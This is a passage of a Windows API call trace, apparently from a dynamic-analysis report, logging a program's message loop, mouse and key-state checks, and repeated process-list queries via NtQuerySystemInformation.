wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.143] IsWindowUnicode (hWnd=0x10166) returned 1 [0230.143] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.143] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0230.143] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0230.143] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0230.143] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0230.143] WaitMessage () returned 1 [0230.286] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.286] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x12203a1) returned 0x1 [0230.287] IsWindowUnicode (hWnd=0x1015e) returned 1 [0230.287] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.287] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x84, wParam=0x0, lParam=0x12203a1) returned 0x1 [0230.287] SetCursor (hCursor=0x10003) returned 0x10003 [0230.287] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0230.287] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0230.287] _TrackMouseEvent (in: lpEventTrack=0x2b062f4 | out: lpEventTrack=0x2b062f4) returned 1 [0230.287] SendMessageW (hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0230.287] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0230.287] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x200, wParam=0x0, lParam=0x4b01bb) returned 0x0 [0230.287] GetKeyState (nVirtKey=1) returned 0 [0230.288] GetKeyState (nVirtKey=2) returned 0 [0230.288] GetKeyState (nVirtKey=4) returned 0 [0230.288] GetKeyState (nVirtKey=5) returned 0 [0230.288] GetKeyState (nVirtKey=6) returned 0 [0230.288] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0230.288] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0230.288] WaitMessage () returned 1 [0230.392] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.392] IsWindowUnicode (hWnd=0x1015e) returned 1 [0230.392] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.392] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0230.392] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0230.392] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.392] IsWindowUnicode (hWnd=0x1015e) returned 1 [0230.392] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.392] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0230.392] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0230.393] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a1, wParam=0x0, lParam=0x4b01bb) returned 0x0 [0230.393] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0230.393] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0230.393] WaitMessage () returned 1 [0230.673] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.674] IsWindowUnicode (hWnd=0x10166) returned 1 [0230.674] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0230.674] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0230.674] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0230.674] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0230.674] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0230.674] WaitMessage () returned 1 [0231.204] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.204] IsWindowUnicode (hWnd=0x10166) returned 1 [0231.204] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.204] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0231.204] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0231.204] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.204] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.204] WaitMessage () returned 1 [0231.304] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.304] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.304] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.304] IsWindowUnicode (hWnd=0x1015e) returned 1 [0231.304] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.304] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0231.304] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0231.304] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0231.304] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.304] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.304] WaitMessage () returned 1 [0231.734] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.734] IsWindowUnicode (hWnd=0x10166) returned 1 [0231.734] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.734] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0231.734] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0231.735] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.735] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.735] WaitMessage () returned 1 [0231.937] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.937] IsWindowUnicode (hWnd=0x1015c) returned 1 [0231.938] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0231.938] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0231.938] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0231.938] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6730) returned 0x0 [0231.947] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.947] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0231.947] WaitMessage () returned 1 [0232.265] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0232.265] IsWindowUnicode (hWnd=0x10166) returned 1 [0232.265] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0232.265] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0232.265] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0232.265] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0232.265] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0232.265] WaitMessage () returned 1 [0232.366] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0232.366] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0232.366] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x10160, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0232.368] NtdllDefWindowProc_W () returned 0x1 [0232.368] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0232.369] WaitMessage () returned 1 [0232.795] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0232.795] IsWindowUnicode (hWnd=0x10166) returned 1 [0232.795] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0232.795] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0232.795] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0232.795] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0232.795] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0232.795] WaitMessage () returned 1 [0233.329] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0233.329] IsWindowUnicode (hWnd=0x10166) returned 1 [0233.329] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0233.329] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0233.329] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0233.329] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0233.329] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0233.330] WaitMessage () returned 1 [0233.856] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0233.856] IsWindowUnicode (hWnd=0x10166) returned 1 [0233.856] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0233.856] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0233.856] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0233.856] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0233.856] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0233.856] WaitMessage () returned 1 [0233.949] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0233.949] IsWindowUnicode (hWnd=0x1015c) returned 1 [0233.949] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0233.949] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0233.949] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0233.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6e10) returned 0x0 [0233.950] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0233.950] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0233.950] WaitMessage () returned 1 [0234.386] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0234.387] IsWindowUnicode (hWnd=0x10166) returned 1 [0234.387] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0234.387] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0234.387] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0234.388] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0234.388] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0234.388] WaitMessage () returned 1 [0234.917] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0234.917] IsWindowUnicode (hWnd=0x10166) returned 1 [0234.917] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0234.917] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0234.917] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0234.917] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0234.917] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0234.917] WaitMessage () returned 1 [0235.356] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.356] MapWindowPoints (in: hWndFrom=0x1016c, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 14287653 [0235.357] IsWindowUnicode (hWnd=0x1016c) returned 1 [0235.357] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.357] MapWindowPoints (in: hWndFrom=0x1016c, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 14287653 [0235.357] SetCursor (hCursor=0x10003) returned 0x10003 [0235.357] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0235.357] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0235.357] _TrackMouseEvent (in: lpEventTrack=0x2cab864 | out: lpEventTrack=0x2cab864) returned 1 [0235.357] SendMessageW (hWnd=0x1016c, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0235.357] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0235.357] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x200, wParam=0x0, lParam=0xe002d) returned 0x0 [0235.357] GetKeyState (nVirtKey=1) returned 0 [0235.357] GetKeyState (nVirtKey=2) returned 0 [0235.357] GetKeyState (nVirtKey=4) returned 0 [0235.357] GetKeyState (nVirtKey=5) returned 0 [0235.357] GetKeyState (nVirtKey=6) returned 0 [0235.357] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.357] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.357] WaitMessage () returned 1 [0235.447] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.447] IsWindowUnicode (hWnd=0x10166) returned 1 [0235.447] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.447] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0235.447] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0235.447] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.447] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.447] WaitMessage () returned 1 [0235.463] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.463] IsWindowUnicode (hWnd=0x1016c) returned 1 [0235.463] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.463] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0235.463] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0235.463] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.463] IsWindowUnicode (hWnd=0x1016c) returned 1 [0235.463] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.463] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0235.463] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0235.463] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x2a1, wParam=0x0, lParam=0xe002d) returned 0x0 [0235.463] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.463] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.463] WaitMessage () returned 1 [0235.961] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.962] IsWindowUnicode (hWnd=0x1015c) returned 1 [0235.962] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.962] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0235.962] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0235.962] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x73e0) returned 0x0 [0235.966] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.966] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.966] WaitMessage () returned 1 [0235.978] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.978] IsWindowUnicode (hWnd=0x10166) returned 1 [0235.978] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0235.978] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0235.978] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0235.978] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.978] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0235.978] WaitMessage () returned 1 [0236.346] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0236.346] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0236.346] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0236.346] IsWindowUnicode (hWnd=0x1016c) returned 1 [0236.346] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0236.346] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0236.346] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0236.346] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x1016c, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0236.346] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0236.346] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0236.346] WaitMessage () returned 1 [0236.507] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0236.508] IsWindowUnicode (hWnd=0x10166) returned 1 [0236.508] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0236.508] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0236.508] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0236.508] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0236.508] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0236.508] WaitMessage () returned 1 [0237.038] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0237.038] IsWindowUnicode (hWnd=0x10166) returned 1 [0237.038] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0237.038] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0237.038] 